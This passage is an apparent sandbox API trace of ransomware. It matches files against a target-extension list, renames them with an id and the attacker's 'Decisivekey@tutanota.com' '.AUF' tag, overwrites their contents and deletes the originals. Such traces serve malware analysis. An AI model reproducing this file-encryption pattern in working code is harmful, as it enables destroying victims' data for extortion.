4 [0223.584] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.584] lstrlenW (lpString=".7z") returned 3 [0223.584] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0223.584] lstrlenW (lpString=".dbf") returned 4 [0223.584] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0223.584] lstrlenW (lpString=".1cd") returned 4 [0223.584] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0223.584] lstrlenW (lpString=".jpg") returned 4 [0223.584] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0223.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0223.584] lstrlenW (lpString=".doc") returned 4 [0223.584] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.584] lstrlenW (lpString=".docx") returned 5 [0223.584] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0223.584] lstrlenW (lpString=".pdf") returned 4 [0223.584] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.584] lstrlenW (lpString=".xls") returned 4 [0223.584] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.584] lstrlenW (lpString=".xlsx") returned 5 [0223.584] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0223.584] lstrlenW (lpString=".ppt") returned 4 [0223.585] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0223.585] lstrlenW (lpString=".zip") returned 4 [0223.585] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.585] lstrlenW (lpString=".rar") returned 4 [0223.585] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.585] lstrlenW (lpString=".bz2") returned 4 [0223.585] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.585] lstrlenW (lpString=".7z") returned 3 [0223.585] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0223.585] lstrlenW (lpString=".dbf") returned 4 [0223.585] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0223.585] lstrlenW (lpString=".1cd") returned 4 [0223.585] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0223.585] lstrlenW (lpString=".jpg") returned 4 [0223.585] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.585] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0223.585] lstrlenW (lpString="OSPPCEXT.DLL") returned 12 [0223.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0223.586] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=1828608) returned 1 [0223.586] CloseHandle (hObject=0x1f8) returned 1 [0223.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll")) returned 0x20 [0223.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0223.586] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0223.587] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0223.587] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc6c | out: lpNewFilePointer=0x0) returned 1 [0223.587] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0223.587] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a10058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0223.601] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x94d00, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0223.601] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0223.625] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e5fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0223.625] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x17e700, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0223.625] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0223.660] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.661] WriteFile (in: hFile=0x1f8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2e5fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0223.760] SetEndOfFile (hFile=0x1f8) returned 1 [0223.762] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0223.762] WriteFile (in: hFile=0x1f8, lpBuffer=0x3f81058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f81058*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0223.763] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x94d00, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0223.763] WriteFile (in: hFile=0x1f8, lpBuffer=0x3f81058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f81058*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0223.788] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x17e700, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0223.788] WriteFile (in: hFile=0x1f8, lpBuffer=0x3f81058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f81058*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0223.792] CloseHandle (hObject=0x1f8) returned 1 [0223.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0223.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0223.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0223.793] lstrlenW (lpString=".doc") returned 4 [0223.793] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.793] lstrlenW (lpString=".docx") returned 5 [0223.793] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0223.793] lstrlenW (lpString=".pdf") returned 4 [0223.793] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.793] lstrlenW (lpString=".xls") returned 4 [0223.793] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.793] lstrlenW (lpString=".xlsx") returned 5 [0223.793] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0223.793] lstrlenW (lpString=".ppt") returned 4 [0223.793] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0223.793] lstrlenW (lpString=".zip") returned 4 [0223.793] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.793] lstrlenW (lpString=".rar") returned 4 [0223.793] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.793] lstrlenW (lpString=".bz2") returned 4 [0223.793] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.793] lstrlenW (lpString=".7z") returned 3 [0223.793] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0223.793] lstrlenW (lpString=".dbf") returned 4 [0223.793] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0223.793] lstrlenW (lpString=".1cd") returned 4 [0223.793] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0223.793] lstrlenW (lpString=".jpg") returned 4 [0223.793] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0223.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0223.793] lstrlenW (lpString=".doc") returned 4 [0223.793] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.793] lstrlenW (lpString=".docx") returned 5 [0223.793] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0223.793] lstrlenW (lpString=".pdf") returned 4 [0223.793] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.793] lstrlenW (lpString=".xls") returned 4 [0223.793] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.794] lstrlenW (lpString=".xlsx") returned 5 [0223.794] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0223.794] lstrlenW (lpString=".ppt") returned 4 [0223.794] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0223.794] lstrlenW (lpString=".zip") returned 4 [0223.794] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.794] lstrlenW (lpString=".rar") returned 4 [0223.794] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.794] lstrlenW (lpString=".bz2") returned 4 [0223.794] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.794] lstrlenW (lpString=".7z") returned 3 [0223.794] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0223.794] lstrlenW (lpString=".dbf") returned 4 [0223.794] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0223.794] lstrlenW (lpString=".1cd") returned 4 [0223.794] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0223.794] lstrlenW (lpString=".jpg") returned 4 [0223.794] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.794] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0223.794] lstrlenW (lpString="OSPPWMI.DLL") returned 11 [0223.794] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0223.795] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=146192) returned 1 [0223.795] CloseHandle (hObject=0x1f8) returned 1 [0223.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll")) returned 0x20 [0223.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0223.795] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0223.795] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.795] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.795] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0223.795] GetLastError () returned 0x0 [0223.795] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x23b10, lpOverlapped=0x0) returned 1 [0223.862] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x23b20, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x23b20, lpOverlapped=0x0) returned 1 [0223.865] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0223.865] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0223.865] SetEndOfFile (hFile=0x1d8) returned 1 [0223.865] CloseHandle (hObject=0x1d8) returned 1 [0223.865] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.865] SetEndOfFile (hFile=0x1f8) returned 1 [0223.867] CloseHandle (hObject=0x1f8) returned 1 [0223.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0223.867] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll")) returned 1 [0223.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0223.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0223.867] lstrlenW (lpString=".doc") returned 4 [0223.867] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.867] lstrlenW (lpString=".docx") returned 5 [0223.867] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0223.867] lstrlenW (lpString=".pdf") returned 4 [0223.867] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.867] lstrlenW (lpString=".xls") returned 4 [0223.867] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.867] lstrlenW (lpString=".xlsx") returned 5 [0223.867] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0223.867] lstrlenW (lpString=".ppt") returned 4 [0223.867] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0223.868] lstrlenW (lpString=".zip") returned 4 [0223.868] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.868] lstrlenW (lpString=".rar") returned 4 [0223.868] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.868] lstrlenW (lpString=".bz2") returned 4 [0223.868] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.868] lstrlenW (lpString=".7z") returned 3 [0223.868] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0223.868] lstrlenW (lpString=".dbf") returned 4 [0223.868] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0223.868] lstrlenW (lpString=".1cd") returned 4 [0223.868] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0223.868] lstrlenW (lpString=".jpg") returned 4 [0223.868] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0223.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0223.868] lstrlenW (lpString=".doc") returned 4 [0223.868] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.868] lstrlenW (lpString=".docx") returned 5 [0223.868] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0223.868] lstrlenW (lpString=".pdf") returned 4 [0223.868] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.868] lstrlenW (lpString=".xls") returned 4 [0223.868] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.868] lstrlenW (lpString=".xlsx") returned 5 [0223.868] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0223.868] lstrlenW (lpString=".ppt") returned 4 [0223.868] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0223.868] lstrlenW (lpString=".zip") returned 4 [0223.868] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.868] lstrlenW (lpString=".rar") returned 4 [0223.868] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.868] lstrlenW (lpString=".bz2") returned 4 [0223.868] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.868] lstrlenW (lpString=".7z") returned 3 [0223.868] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0223.868] lstrlenW (lpString=".dbf") returned 4 [0223.868] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0223.868] lstrlenW (lpString=".1cd") returned 4 [0223.868] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0223.868] lstrlenW (lpString=".jpg") returned 4 [0223.868] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.869] lstrcmpiW (lpString1=".LEX", lpString2=".AUF") returned 1 [0223.869] lstrlenW (lpString="MSWDS_EN.LEX") returned 12 [0223.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0223.882] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=444027) returned 1 [0223.882] CloseHandle (hObject=0x220) returned 1 [0223.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex")) returned 0x20 [0223.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0223.882] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0223.882] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.882] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.882] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0223.883] GetLastError () returned 0x0 [0223.883] ReadFile (in: hFile=0x220, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x6c67b, lpOverlapped=0x0) returned 1 [0223.945] WriteFile (in: hFile=0x1e4, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x6c680, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x6c680, lpOverlapped=0x0) returned 1 [0223.950] ReadFile (in: hFile=0x220, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0223.950] WriteFile (in: hFile=0x1e4, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xec, 